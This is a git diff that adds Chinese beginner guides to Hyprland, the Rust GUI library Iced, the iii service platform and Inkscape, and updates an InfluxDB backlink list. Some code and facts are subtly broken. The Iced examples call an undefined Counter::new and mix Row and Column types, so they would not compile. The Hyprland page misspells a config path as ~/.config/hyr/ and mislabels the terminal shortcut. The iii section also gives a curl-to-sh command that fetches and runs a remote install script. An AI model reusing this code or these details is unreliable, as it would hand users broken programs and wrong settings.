+title: Hyprland — Wayland 上的动态平铺合成器
+来源: https://github.com/hyprwm/Hyprland
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Hyprland** 是运行在 Wayland 协议之上的**动态平铺窗口合成器**（dynamic tiling Wayland compositor）。它不是 GNOME / KDE 那种「开箱即用的完整桌面环境」，而是像 i3、Sway 一样由你亲手拼出桌面——但自带圆角、模糊、动画、手势等现代视觉效果。
+
+日常类比：
+
+> 传统桌面（Windows / macOS）像**宜家样板间**：家具摆好了，你只管坐进去用。
+> Hyprland 像**乐高工作台**：没有固定客厅布局，窗口像积木块自动拼满屏幕；你定义快捷键、规则、动画，拼出只属于自己的「操作台」。
+>
+> 再往下拆一层：显示器是画布，**合成器（compositor）** 是画家——它决定窗口画在哪、多大、有没有阴影。X11 时代画家和窗口管理器常是两个人；Wayland 时代合成器**一肩挑**：既管合成，也管输入、输出、焦点。
+
+Hyprland 由 Vaxry 等人维护，GitHub 星标数万级，是 2024–2026 年 Linux 极客圈最热门的 Wayland 平铺方案之一。配置文件是 `~/.config/hypr/hyprland.conf`（纯文本，改完大多可热重载）。
+
+## 为什么重要
+
+如果你只用过 GNOME，切到 Hyprland 会碰到这些「第一次必懂」的事：
+
+| 痛点 | Hyprland 侧的答案 |
+|------|-------------------|
+| 窗口老叠在一起、手动拖 resize | **平铺（tiling）**：新窗口自动分格，键盘调大小 |
+| X11 撕裂、混用 DPI 难受 | **Wayland 原生**：每显示器独立缩放，合成路径更干净 |
+| i3/Sway 视觉太「工程师审美」 | **动画 + 圆角 + blur**：`decoration` / `animations` 块可细调 |
+| 不同显示器工作区乱窜 | **per-monitor workspace**：笔记本屏 1–5，外接屏 6–10，互不干扰 |
+| 某 App 必须浮动、某 App 必须某屏 | **windowrulev2**：按 class/title 正则匹配行为 |
+
+与 [[nix]] 搭配时，可用 Home Manager 声明式生成 `hyprland.conf`；与 [[ansible]] 批量装机时，常把 dotfiles 同步到 `~/.config/hyr/`。Hyprland **不是发行版**，只是桌面栈最上面那一层——下面还需要 PipeWire（音频）、NetworkManager、polkit（提权弹窗）、Waybar（状态栏）等拼图。
+
+## 核心概念
+
+理解 Hyprland = 理解下面五块积木：
+
+### 1. Compositor 与 Wayland
+
+- **Wayland**：显示服务器协议，应用把 buffer 交给 compositor 画，不直接碰 framebuffer。
+- **Compositor**：Hyprland 本体进程，读 `hyprland.conf`，处理键盘/鼠标/触摸板，布局窗口。
+- **XWayland**：兼容层，老 X11 程序（部分 Electron、游戏）仍跑在 XWayland 里——用 `hyprctl clients` 可看某窗口是不是 `xwayland: 1`。
+
+启动方式（TTY 登录后）：
+
+```bash
+# 官方推荐入口（包装了环境检查）
+start-hyprland
+
+# 不要用 root 启动
+# sudo Hyprland  ← 错误
+```
+
+### 2. 配置文件结构
+
+`hyprland.conf` 按**关键字 + 块**组织，常见段落：
+
+| 段落 | 作用 |
+|------|------|
+| `monitor=` | 分辨率、位置、缩放、旋转 |
+| `exec-once=` | 登录后只执行一次的命令（waybar、壁纸、nm-applet） |
+| `env=` | 环境变量（NVIDIA、Electron Wayland 等） |
+| `input {}` | 键盘布局、触摸板手势、灵敏度 |
+| `general {}` / `decoration {}` | 间隙、边框、圆角、模糊 |
+| `bind =` | 快捷键 → dispatcher |
+| `windowrulev2 =` | 按窗口类名/标题设规则 |
+
+首次安装会生成带 `autogenerated = 1` 的默认配置；删掉该行可去掉屏幕上的黄色警告条。
+
+### 3. Dispatcher 与 bind 语法
+
+快捷键统一格式：
+
+```text
+bind = MODIFIER, KEY, DISPATCHER, PARAMETERS
+```
+
+- **MODIFIER**：`SUPER`（Win 键）、`SHIFT`、`CTRL` 等，可组合 `SUPER SHIFT`
+- **DISPATCHER**：`exec`（跑 shell 命令）、`movefocus`（移动焦点）、`workspace`（切工作区）、`killactive`（关当前窗）等
+- 鼠标拖拽用 `bindm =`
+
+变量可复用，保持配置可读：
+
+```hyprlang
+$mainMod = SUPER
+$terminal = kitty
+$fileManager = nemo
+
+bind = $mainMod, Return, exec, $terminal
+bind = $mainMod, E, exec, $fileManager
+bind = $mainMod, Q, killactive,
+bind = $mainMod, F, fullscreen, 0
+bind = $mainMod, V, togglefloating,
+```
+
+### 4. Workspace（工作区）
+
+Hyprland 工作区是**逻辑桌面编号**（1、2、3…），不是「每个显示器各一套独立编号」那么简单——可以配 **workspace rules** 把「工作区 2」绑到 HDMI-A-1。
+
+常用 dispatcher：
+
+- `workspace, N` — 跳到第 N 个工作区
+- `movetoworkspace, N` — 把当前窗口移到第 N 工作区
+- `movetoworkspacesilent, N` — 移动窗口但不切换过去
+
+### 5. 动态平铺 vs 浮动
+
+默认新窗口 **tile**（参与平铺）。`togglefloating` 让窗口脱离网格自由拖动；`windowrulev2` 可让计算器、图片查看器一打开就是浮动。
+
+---
+
+## 实践案例
+
+### 案例 1：最小可运行 `hyprland.conf`
+
+从发行版示例复制后，下面是一份「能干活」的骨架（路径：`~/.config/hypr/hyprland.conf`）：
+
+```hyprlang
+# 显示器：名称, 分辨率@刷新率, 位置, 缩放
+# 用 hyprctl monitors 查真实名称
+monitor = eDP-1, 1920x1080@60, 0x0, 1
+monitor = HDMI-A-1, 2560x1440@144, 1920x0, 1
+
+# 登录后启动一次
+exec-once = waybar
+exec-once = mako
+exec-once = /usr/lib/polkit-gnome/polkit-gnome-authentication-agent-1
+exec-once = swww-daemon && swww img ~/Pictures/wall.jpg --fill
+
+# 强制部分 Electron/Chromium 走 Wayland（按需）
+env = NIXOS_OZONE_WL, 1
+
+input {
+    kb_layout = us
+    follow_mouse = 1
+    touchpad {
+        natural_scroll = true
+    }
+}
+
+general {
+    gaps_in = 5
+    gaps_out = 10
+    border_size = 2
+    col.active_border = rgba(33ccffee) rgba(00ff99ee) 45deg
+    col.inactive_border = rgba(595959aa)
+    layout = dwindle
+}
+
+decoration {
+    rounding = 10
+    blur {
+        enabled = true
+        size = 3
+        passes = 1
+    }
+}
+
+$mainMod = SUPER
+
+bind = $mainMod, Return, exec, kitty
+bind = $mainMod, D, exec, wofi --show drun
+bind = $mainMod, Q, killactive,
+bind = $mainMod, M, exit,
+
+bind = $mainMod, H, movefocus, l
+bind = $mainMod, L, movefocus, r
+bind = $mainMod, K, movefocus, u
+bind = $mainMod, J, movefocus, d
+
+bind = $mainMod, 1, workspace, 1
+bind = $mainMod, 2, workspace, 2
+bind = $mainMod SHIFT, 1, movetoworkspace, 1
+bind = $mainMod SHIFT, 2, movetoworkspace, 2
+
+bindm = $mainMod, mouse:272, movewindow
+bindm = $mainMod, mouse:273, resizewindow
+```
+
+保存后 Hyprland 默认会**自动重载**；若关了自动重载，执行 `hyprctl reload`。
+
+### 案例 2：windowrulev2 与 hyprctl 调试
+
+让文件管理器半透明、让 Steam 始终浮动、把 OBS 钉在指定工作区：
+
+```hyprlang
+# 语法：windowrulev2 = RULE, MATCH_CRITERIA
+windowrulev2 = opacity 0.85 0.85, class:^(nemo)$
+windowrulev2 = float, class:^(steam)$
+windowrulev2 = workspace 9 silent, class:^(obs)$
+
+# 笔记本合盖外接屏：把浏览器类放到外接显示器的工作区
+windowrulev2 = workspace 6, class:^(firefox|google-chrome)$
+```
+
+终端里用 **hyprctl** 查现状、不用猜配置是否生效：
+
+```bash
+# 列出所有客户端：class、title、是否 xwayland、所在 workspace
+hyprctl clients
+
+# 当前焦点窗口
+hyprctl activewindow
+
+# 显示器拓扑
+hyprctl monitors
+
+# 临时切工作区（验证 bind 之前可先手敲）
+hyprctl dispatch workspace 3
+```
+
+`hyprctl keyword monitor "eDP-1,1920x1080@60,0x0,1.25"` 甚至可**运行时**改 monitor 行，确认缩放满意再写回 conf。
+
+---
+
+## 安装与生态拼图
+
+Hyprland 本体通常来自发行版包或 AUR（Arch 上常见 `hyprland` / `hyprland-git`）。**合成器之外**几乎必装：
+
+| 组件 | 典型选择 | 用途 |
+|------|----------|------|
+| 终端 | kitty, foot, alacritty | SUPER+Return 的归宿 |
+| 启动器 | wofi, rofi-wayland | 搜应用 |
+| 状态栏 | waybar | 时间、电量、工作区指示 |
+| 通知 | mako, swaync | libnotify 兼容 |
+| 壁纸 | swww, hyprpaper | `exec-once` 里拉壁纸 |
+| 截图 | hyprshot, grim+slurp | 绑定 Print 键 |
+| 剪贴板 | wl-clipboard | `wl-copy` / `wl-paste` |
+| 文件管理 | nemo, thunar | 图形浏览文件 |
+| 登录管理器 | SDDM, greetd | 可选；也可 TTY 手动 `start-hyprland` |
+
+**NVIDIA 用户**：安装驱动 ≥ 515，并查阅 [Hyprland Nvidia  wiki](https://wiki.hypr.land/Nvidia/)——常需 `env = WLR_NO_HARDWARE_CURSORS,1` 等 tweak。**虚拟机**：需开启 3D 加速，有时要 `WLR_RENDERER_ALLOW_SOFTWARE=1`。
+
+强制 Chromium / Electron 走 Wayland 的常见环境变量：
+
+```bash
+# ~/.config/electron-flags.conf（多数 Electron 应用）
+--enable-features=UseOzonePlatform
+--ozone-platform=wayland
+```
+
+Chromium 系浏览器还可在 `chrome://flags` 搜 **ozone** 选 Wayland。装完后用 `hyprctl clients` 确认目标应用 **xwayland: 0**。
+
+---
+
+## 与 i3 / Sway 的迁移心智
+
+| 概念 | i3/Sway | Hyprland |
+|------|---------|----------|
+| 配置语法 | i3 风格文本 | 自有 keyword 格式（**不**兼容 i3.conf 直接粘贴） |
+| 动画 | 基本无 | `animations {}` 内置 |
+| 圆角模糊 | 靠补丁或没有 | `decoration {}` 一等公民 |
+| 规则 | `for_window` | `windowrulev2`（支持正则） |
+| 重载 | `i3-msg reload` | `hyprctl reload` |
+
+概念可平移：**工作区、焦点移动、浮动切换、exec 绑键**——周末对照旧 dotfiles 重写一版即可。官方 [Master Tutorial](https://wiki.hypr.land/Getting-Started/Master-Tutorial/) 是零基础主线。
+
+---
+
+## 常见问题
+
+**Q：改完配置没反应？**  
+确认保存路径是 `~/.config/hypr/hyprland.conf`（不是 `hyprland.config`）。若 `misc { disable_autoreload = true }`，需手动 `hyprctl reload`。
+
+**Q：应用模糊/缩放不对？**  
+Wayland 下 GTK 用 `nwg-look` / `lxappearance`，Qt6 用 `hyprqt6engine`；分数缩放检查 `monitor` 行第四个参数（如 `1.25`）。
+
+**Q：快捷键和输入法冲突？**  
+在 `input {}` 调 `kb_options`，或用 `bind = SUPER, SPACE, exec, fcitx5-remote -t` 单独切换输入法；部分 IME 在 Wayland 下需 fcitx5 + wayland frontend。
+
+**Q：能当日常主力机吗？**  
+能。瓶颈通常在**个别闭源软件**（某些游戏反作弊、旧版 Electron）仍依赖 XWayland；开发、浏览、终端工作流 Hyprland 非常成熟。想要「别人配好的桌面」可看 [Hyprland preconfigured setups](https://wiki.hypr.land/Getting-Started/Preconfigured-setups/)（如 HyDE、end-4 dotfiles）。
+
+**Q：和 [[vscode]] / IDE 关系？**  
+VS Code 官方 Electron 对 Wayland 支持历史上有坑；不少人用 XWayland 跑 VS Code，或用 Cursor/Neovim 在 kitty 里。用 `hyprctl clients` 看实际协议。
+
+---
+
+## 学习路径建议
+
+1. **第一天**：装 Hyprland + kitty，删 `autogenerated = 1`，熟 `SUPER+Q` 开终端、`SUPER+Q`/`killactive` 关窗、方向键 `movefocus`。
+2. **第二天**：加 waybar + wofi，配齐 `exec-once`；用 `hyprctl monitors` 写对 `monitor=` 行。
+3. **第三天**：为常用 App 写 3–5 条 `windowrulev2`；调 `decoration` 圆角/模糊到顺眼。
+4. **持续**：读 [Configuring Hyprland](https://wiki.hypr.land/Configuring/Variables/) 变量表；逛 [Awesome Hyprland](https://github.com/hyprland-community/awesome-hyprland) 找插件与脚本。
+
+---
+
+## 参考资料
+
+- [Hyprland GitHub](https://github.com/hyprwm/Hyprland)
+- [Hyprland Wiki — Master Tutorial](https://wiki.hypr.land/Getting-Started/Master-Tutorial/)
+- [Configuring Basics](https://wiki.hypr.land/Configuring/Basics/)
+- [Must-have Software](https://wiki.hypr.land/Getting-Started/Master-Tutorial/)（Wiki 生态清单）
+- [itsfoss — Customizing Hyprland](https://itsfoss.com/configuring-hyprland/)（面向初学者的分步说明）
diff --git a/src/content/docs/projects/iced.md b/src/content/docs/projects/iced.md
new file mode 100644
index 000000000..61664ec5d
--- /dev/null
+++ b/src/content/docs/projects/iced.md
@@ -0,0 +1,222 @@
+---
+title: Iced — Rust 原生 GUI 框架
+来源: https://github.com/iced-rs/iced
+日期: 2026-06-13
+分类: 后端 API
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+# Iced — Rust 原生 GUI 框架
+
+## 一句话理解
+
+Iced 是一个用 Rust 写的跨平台 GUI 库。它的核心理念来自一个叫做 Elm 的网页框架，采用一种叫"Elm 架构"的设计模式：**数据驱动界面，界面只产生消息，消息只改变数据**。
+
+## 从日常类比开始
+
+想象你去餐厅点餐：
+
+1. 你心里有一个"当前想吃什么"的状态（比如"想吃面"）
+2. 服务员给你一张菜单（这就是界面），菜单上有"加辣""换汤"之类的选项
+3. 你点菜时产生的每一个选择，都是"消息"
+4. 厨房（更新逻辑）收到消息后，改变你想吃的东西（更新状态）
+5. 服务员端上新菜单（渲染新界面）
+
+Iced 做的就是把这套流程变成代码里的固定模式，让你不需要自己一遍遍处理"界面怎么变""用户点了什么"这些琐事。
+
+## Elm 架构的四个核心概念
+
+### 1. State（状态）
+
+就是应用里所有需要记住的数据。比如一个计数器，只需要记住一个数字。
+
+```rust
+#[derive(Default)]
+struct Counter {
+    value: i32,  // 计数器当前的值
+}
+```
+
+`#[derive(Default)]` 意思是"如果我不指定初始值，就让它等于零"。
+
+### 2. Messages（消息）
+
+所有用户可能触发的动作。按钮点击、输入文字、键盘按下——全部定义在这里。
+
+```rust
+#[derive(Debug, Clone, Copy)]
+pub enum Message {
+    Increment,
+    Decrement,
+}
+```
+
+用 `enum`（枚举）定义消息，意思是"消息只有这两种可能"。Rust 的类型系统会确保你的代码处理了所有情况，不会漏掉某个按钮点击。
+
+### 3. View（视图 / 界面）
+
+一个函数，根据当前状态决定屏幕上显示什么。输入是状态，输出是界面组件的树。
+
+```rust
+use iced::widget::{button, column, text, Column};
+
+impl Counter {
+    pub fn view(&self) -> Column<'_, Message> {
+        column![
+            button("+").on_press(Message::Increment),
+            text(self.value).size(50),
+            button("-").on_press(Message::Decrement),
+        ]
+    }
+}
+```
+
+`column!` 是把组件从上到下排成一列的布局。每个按钮通过 `.on_press()` 告诉 Iced："点我时产生对应的消息"。
+
+### 4. Update（更新）
+
+收到消息后，怎么改变状态。
+
+```rust
+impl Counter {
+    pub fn update(&mut self, message: Message) {
+        match message {
+            Message::Increment => {
+                self.value += 1;
+            }
+            Message::Decrement => {
+                self.value -= 1;
+            }
+        }
+    }
+}
+```
+
+## 完整运行示例
+
+上面四个部分拼在一起，加上一个 `main` 函数：
+
+```rust
+use iced::widget::{button, column, text, Column};
+
+#[derive(Default)]
+struct Counter {
+    value: i32,
+}
+
+#[derive(Debug, Clone, Copy)]
+pub enum Message {
+    Increment,
+    Decrement,
+}
+
+impl Counter {
+    pub fn view(&self) -> Column<'_, Message> {
+        column![
+            button("+").on_press(Message::Increment),
+            text(self.value).size(50),
+            button("-").on_press(Message::Decrement),
+        ]
+    }
+
+    pub fn update(&mut self, message: Message) {
+        match message {
+            Message::Increment => self.value += 1,
+            Message::Decrement => self.value -= 1,
+        }
+    }
+}
+
+fn main() -> iced::Result {
+    iced::run("计数器", Counter::new, Counter::update, Counter::view)
+}
+```
+
+运行后就会弹出一个窗口，显示一个数字和两个按钮，点击可以加减。Iced 自动帮你处理了窗口创建、事件循环、界面重绘所有底层细节。
+
+## 第二个例子：带输入框的待办事项
+
+这个例子更实用一些，展示文本输入和列表：
+
+```rust
+use iced::widget::{button, text, text_input, Column, TextInput};
+
+#[derive(Default)]
+struct TodoApp {
+    tasks: Vec<String>,
+    new_task: String,
+}
+
+#[derive(Debug, Clone)]
+pub enum Message {
+    NewTask(String),
+    Add,
+    Remove(usize),
+}
+
+impl TodoApp {
+    fn view(&self) -> Column<'_, Message> {
+        let input = TextInput::new("输入新任务...", &self.new_task)
+            .on_input(Message::NewTask)
+            .on_submit(Message::Add);
+
+        let mut items: Vec<iced::widget::Column<'_, Message>> = Vec::new();
+        for (i, task) in self.tasks.iter().enumerate() {
+            items.push(
+                iced::widget::row![
+                    text(task),
+                    button("删除").on_press(Message::Remove(i))
+                ]
+            );
+        }
+
+        column![
+            input,
+            button("添加").on_press(Message::Add),
+            column!(items),
+        ]
+    }
+
+    fn update(&mut self, message: Message) {
+        match message {
+            Message::NewTask(text) => self.new_task = text,
+            Message::Add => {
+                if !self.new_task.is_empty() {
+                    self.tasks.push(self.new_task.clone());
+                    self.new_task.clear();
+                }
+            }
+            Message::Remove(index) => {
+                self.tasks.remove(index);
+            }
+        }
+    }
+}
+```
+
+这里引入了两个新概念：
+- `TextInput`：文本输入框，`.on_input()` 实时捕获输入，`.on_submit()` 在按回车时触发
+- `Vec`：动态数组，用来存不定数量的待办事项
+
+## Iced 的其他亮点
+
+- **跨平台**：Windows、macOS、Linux、Web 都能跑
+- **两种渲染器**：wgpu（GPU 加速，支持 Vulkan/Metal/DX12）和 tiny-skia（纯软件渲染，适合嵌入式）
+- **自定义组件**：可以创建自己的 Widget，像搭积木一样组合
+- **调试工具**：内置 DevTools，支持性能指标查看和时间旅行（类似 React DevTools）
+- **异步支持**：直接用 Rust 的 `futures` 处理网络请求等异步操作
+- **30k+ GitHub Star**：社区活跃，文档完善
+
+## 学习路线
+
+1. [iced 官方书](https://book.iced.rs/)：从零开始的教学
+2. [官方示例](https://github.com/iced-rs/iced/tree/master/examples)：30+ 个完整示例
+3. [docs.rs 文档](https://docs.rs/iced/)：API 参考
+4. [Zulip 社区](https://iced.zulipchat.com/)：提问和交流
+
+## 适合谁
+
+- 想用 Rust 写桌面应用，但不想处理繁琐的窗口和事件管理
+- 已经熟悉 Elm/Redux 模式，想在桌面端用同样思路开发
+- 喜欢类型安全，希望编译期就抓住界面相关的 bug
diff --git a/src/content/docs/projects/iii-hq-platform.md b/src/content/docs/projects/iii-hq-platform.md
new file mode 100644
index 000000000..00d5c41d2
--- /dev/null
+++ b/src/content/docs/projects/iii-hq-platform.md
@@ -0,0 +1,179 @@
+---
+title: "iii-hq/iii 服务组合扩展实时观测平台学习笔记"
+来源: "https://github.com/iii-hq/iii"
+日期: "2026-06-13"
+分类: CLI
+子分类: 开发者工具
+provenance: pipeline-v3
+---
+
+# iii-hq/iii 服务组合扩展实时观测平台学习笔记
+
+## 一句话概括
+
+iii 用三个最简单的概念（Worker 工人、Trigger 触发器、Function 函数）把后端服务的所有拼接到一起，并且天生就能看到每一次调用的完整链路。
+
+## 从日常类比开始
+
+想象一个餐厅后厨。
+
+传统做法是：每个厨师（服务）都是独立的，切菜的、煮面的、炒菜的之间靠电话或者纸条沟通。想加一道新菜，你得打电话找别的厨师协调，出了问题不知道是哪一步搞砸的。
+
+iii 的做法是：给后厨装了一个智能调度系统。每个厨师都注册到调度系统上，说我能做什么。系统自动告诉大家谁有什么能力。当客人点了一道新菜，调度系统自动找到合适的厨师去执行，整个过程全程记录，你能看到每一道工序花了多少时间、出了什么错。
+
+关键区别：你不需要写一堆"服务 A 怎么调用服务 B"的代码。你只需要说"这个厨师能做这个活"，系统自动帮你组装。
+
+## 三个核心概念
+
+### 1. Worker（工人）
+
+Worker 就是"能干活的进程"。它可以是 TypeScript 写的一个 API 服务，Python 写的数据处理管道，或者 Rust 写的一个微服务。每个 Worker 启动后，会连接到 iii 引擎，告诉大家"我能做什么"。
+
+### 2. Function（函数）
+
+Function 是"最小干活单元"。比如 `content::classify`（给内容打标签）、`orders::validate`（验证订单）。每个 Function 有稳定的名字，接受输入，执行工作，返回结果。
+
+### 3. Trigger（触发器）
+
+Trigger 是"让函数开始干活的开关"。触发方式可以是：
+- 直接调用（有人调用了这个函数）
+- HTTP 请求（有人访问了某个 URL）
+- 定时任务（到了某个时间自动执行）
+- 消息队列（收到了一条消息）
+- 状态变化（某个数据变了）
+- 流事件（某个数据流来了新数据）
+
+你声明"这个函数在什么情况下运行"，iii 自动处理路由、数据格式转换、消息投递。
+
+## 整体架构
+
+```
+┌─────────────────────────────────────────────────┐
+│                   iii Engine                     │
+│              (Rust 核心运行时)                     │
+│  ┌─────────┐  ┌──────────┐  ┌────────────────┐  │
+│  │ Worker   │  │  Trigger  │  │   Observability │  │
+│  │ 管理注册  │→│  路由分发  │→│   链路追踪       │  │
+│  └─────────┘  └──────────┘  └────────────────┘  │
+└─────────────────────────────────────────────────┘
+        ↑                  ↑               ↑
+   WebSocket           HTTP API       各种 Trigger
+   (端口 49134)       (端口 3111)     (cron/queue/...)
+```
+
+Engine 是核心，用 Rust 写的。SDK 用多种语言提供（Node.js、Python、Rust、Go），各自通过 WebSocket 连接到 Engine。Console 是一个可视化的控制台，让你浏览所有 Worker、函数、触发器和实时追踪。
+
+## 代码示例
+
+### 示例 1：Node.js 注册一个函数并绑定 HTTP 触发器
+
+```javascript
+import { registerWorker } from 'iii-sdk';
+
+// 连接到 iii 引擎（WebSocket 地址）
+const iii = registerWorker('ws://localhost:49134');
+
+// 注册一个函数：内容分类
+iii.registerFunction('content::classify', async (input) => {
+  // 这里放你的业务逻辑
+  const categories = ['tech', 'finance', 'health', 'sports'];
+  const score = categories.map(cat => ({
+    category: cat,
+    confidence: Math.random(),
+  }));
+
+  return { categories: score };
+});
+
+// 注册一个 HTTP 触发器：当有人访问 /classify 时，
+// 自动调用 content::classify 函数
+iii.registerTrigger({
+  type: 'http',
+  function_id: 'content::classify',
+  config: {
+    api_path: '/classify',
+    http_method: 'POST',
+  },
+});
+
+console.log('Worker 已注册，Engine 会通知其他 Worker');
+```
+
+这个过程做了什么：
+1. `registerWorker` 创建 SDK 实例并自动连接到 Engine
+2. `registerFunction` 注册了一个叫 `content::classify` 的函数
+3. `registerTrigger` 把一个 HTTP 路径 `/classify` 绑定到这个函数上
+4. 其他连接到 Engine 的 Worker 会自动发现这个新函数
+
+### 示例 2：调用远程函数
+
+```javascript
+import { registerWorker, TriggerAction } from 'iii-sdk';
+
+const iii = registerWorker('ws://localhost:49134');
+
+// 方式一：等待结果（同步调用）
+async function classifyContent(text) {
+  const result = await iii.trigger({
+    function_id: 'content::classify',
+    payload: { text },
+  });
+  console.log('分类结果:', result);
+  return result;
+}
+
+// 方式二：不等待结果（fire-and-forget，发完就走）
+iii.trigger({
+  function_id: 'content::classify',
+  payload: { text: '这是一段测试文本' },
+  action: TriggerAction.Void(),
+});
+```
+
+`TriggerAction.Void()` 的意思是"发完消息就不要等回话了"。适合那些你知道会执行但不在乎结果的场景，比如发送通知、更新计数。
+
+## 为什么这个设计有意思
+
+### 从第一性原理思考
+
+传统微服务的痛点是什么？是"连接成本"。每增加一个服务，就要多一套：API 文档、认证逻辑、重试策略、超时配置、链路追踪。iii 的核心洞察是：这些不是"每个服务自己的事"，而是"系统层面的事"。
+
+如果把后端服务想象成乐高积木，传统做法是每块积木都要自己发明连接件。iii 的做法是：所有积木天生就有一套标准接口，随便拼都能对上。
+
+### 三个优势
+
+1. **组合零集成成本**：新增一个 Worker 只需要 `iii worker add xxx`，不需要写集成代码
+2. **天生可观测**：每个函数调用都自动记录追踪，打开 Console 就能看
+3. **跨语言互通**：TypeScript 的 Worker 可以直接调用 Python 的 Worker 的函数，Engine 处理协议转换
+
+## 关键端口
+
+| 端口 | 服务 |
+|------|------|
+| 49134 | WebSocket（Worker 连接用） |
+| 3111 | HTTP API |
+| 3112 | 流 API |
+| 9464 | Prometheus 指标 |
+
+## 快速上手命令
+
+```bash
+# 安装
+curl -fsSL https://install.iii.dev/iii/main/install.sh | sh
+
+# 初始化项目
+iii project init myapp
+cd myapp
+
+# 启动引擎
+iii
+
+# 打开控制台（浏览器可视化管理界面）
+iii console
+```
+
+## 学习小结
+
+iii 的核心思想是把后端服务拆解为三个原子概念：谁能干（Worker）、干什么（Function）、什么情况下干（Trigger）。在这个极简模型上，组合、扩展、观测三件事都成了系统的原生能力，而不是后期插件。
+
+对初学者来说，理解 iii 的关键不在于记住多少 API，而在于理解"为什么三个概念就够了"——因为任何分布式系统的本质就是：谁对谁做了什么，以及在什么时候做的。
diff --git a/src/content/docs/projects/influxdb.md b/src/content/docs/projects/influxdb.md
index cd3b6a677..91281faed 100644
--- a/src/content/docs/projects/influxdb.md
+++ b/src/content/docs/projects/influxdb.md
@@ -154,6 +154,8 @@ from(bucket: "metrics")
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
 - [[grafana]] —— Grafana — 监控可视化看板
+- [[mosquitto]] —— Eclipse Mosquitto — 轻量级 MQTT 消息代理，物联网的「社区广播站」
+- [[nanomq]] —— NanoMQ — 面向 IoT 边缘的超轻量 MQTT Broker
 - [[opentsdb]] —— OpenTSDB — HBase 上的第一代分布式 TSDB
 - [[postgresql]] —— PostgreSQL — 工业级关系数据库
 - [[prometheus]] —— Prometheus — 时序监控系统
diff --git a/src/content/docs/projects/inkscape.md b/src/content/docs/projects/inkscape.md
new file mode 100644
index 000000000..681dc726c
--- /dev/null
+++ b/src/content/docs/projects/inkscape.md
@@ -0,0 +1,258 @@
+---
+title: Inkscape — 矢量图形编辑器
+来源: 'https://github.com/inkscape/inkscape'
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+**Inkscape** 是一款**免费开源**的 2D 矢量图形编辑器，源码托管于 [inkscape/inkscape](https://github.com/inkscape/inkscape)，采用 GPL 许可，跨 Windows / macOS / Linux。它对标 Adobe Illustrator、CorelDRAW 等商业软件，但**原生格式是开放标准 SVG**（Scalable Vector Graphics），而不是私有二进制。
+
+日常类比：如果把 **[[gimp]]** 比作「在像素画布上涂颜料」的 Photoshop，那 Inkscape 更像**用可无限放大的钢笔画图纸**——Logo、图标、流程图、海报排版都画在「数学曲线」上，放大到广告牌尺寸边缘依然锐利；而位图放大只会糊成一团马赛克。再打个比方：位图是拍下来的照片，矢量图是**带坐标的施工蓝图**——改一个圆角半径、换一套配色，改的是公式而不是重新拍照。
+
+Inkscape 1.4.x 是当前稳定线（2024 年 10 月发布 1.4「Geek 版」），强调可定制手柄、Shape Builder 裁切位图、SVG 字体编辑器等。项目口号是 **Draw Freely.**——免费、自由、可审计源码。
+
+## 为什么重要
+
+零基础学图形设计或前端资产管线，绕不开 Inkscape 的几个现实理由：
+
+- **零授权成本**：个人、教育、商业印刷均可免费使用，不像 Illustrator 订阅制
+- **SVG 即原生格式**：导出的 `.svg` 可直接进网页（`<img>` / inline SVG）、[[react]] 组件、[[d3]] 可视化，或再导入 [[figma]] / Penpot
+- **开放标准**：SVG 是 W3C XML 标准，文件可用文本编辑器打开，利于版本管理与自动化
+- **命令行批处理**：`inkscape --actions` 可在 CI 里批量导出 PNG/PDF，适合文档站图标流水线
+- **生态与教学**：Wikipedia 大量插图、openclipart.org 素材库、中文社区教程丰富；与 [[blender]]（3D）、[[krita]]（位图绘画）形成开源创作三角
+
+## 核心要点
+
+### 1. 矢量 vs 位图
+
+| 类型 | 存储方式 | 放大 | 典型用途 |
+| --- | --- | --- | --- |
+| **矢量** | 点、线、贝塞尔曲线、样式属性 | 无限清晰 | Logo、图标、UI、印刷线条稿 |
+| **位图** | 像素矩阵 | 放大会锯齿/模糊 | 照片、复杂笔刷、纹理 |
+
+Inkscape 编辑矢量；需要照片底图时可 **File → Import** 嵌入或链接位图，也可用内置 **Potrace** 描摹成路径。
+
+### 2. SVG 文档结构
+
+SVG 本质是 XML。一个最小文档包含 `<svg>` 根元素，内部是 `<rect>`、`<circle>`、`<path>`、`<text>` 等**对象**，颜色与线宽写在 `style` 或属性里：
+
+```svg
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200">
+  <defs>
+    <linearGradient id="sky" x1="0%" y1="0%" x2="0%" y2="100%">
+      <stop offset="0%" style="stop-color:#4facfe"/>
+      <stop offset="100%" style="stop-color:#00f2fe"/>
+    </linearGradient>
+  </defs>
+  <rect width="200" height="200" fill="url(#sky)"/>
+  <circle cx="100" cy="100" r="40" fill="#ff6b6b" stroke="#333" stroke-width="3"/>
+  <text x="100" y="170" text-anchor="middle" font-size="14" fill="#333">Inkscape</text>
+</svg>
+```
+
+在 Inkscape 里用 **File → Save As → Plain SVG** 可去掉编辑器私有命名空间，得到更干净的上述结构。`viewBox` 定义坐标系，是响应式图标的关键。
+
+### 3. 路径（Path）与贝塞尔曲线
+
+矢量图形的核心是 **Path**：由节点（node）和手柄（handle）组成的贝塞尔曲线段。Inkscape 提供多种绘制模式：
+
+- **贝塞尔钢笔（B）**：最常用，点一下直线、拖拽出曲线
+- **Spiro / B-Spline**：更顺滑的曲线风格
+- **铅笔（P）**：手绘感自由线，可自动平滑
+
+选中路径后按 **N** 进入**节点工具**，可移动节点、拉伸手柄、对齐分布。**Path → Stroke to Path** 把描边也变成可编辑的填充区域——做复杂描边 Logo 时常用。
+
+### 4. 形状、布尔运算与 Shape Builder
+
+矩形（R）、椭圆（E）、星形等是**参数化形状**，可随时改圆角、边数。多个路径可做 **Path → Union / Difference / Intersection / Exclusion**（布尔运算），像 CAD 里的切体合并。
+
+Inkscape 1.4 的 **Shape Builder（Shift+F9）** 更进一步：框选区域即可合并或减去路径；若选中位图，还能把路径当**裁剪蒙版**，快速切出图像局部（生成 clipped clone，文件体积小）。
+
+### 5. 填充、描边与样式
+
+每个对象有 **Fill（填充）** 和 **Stroke（描边）**，支持：
+
+- 纯色、线性/径向渐变、网格渐变（mesh gradient）
+- 图案填充（内置 130+ 图案）
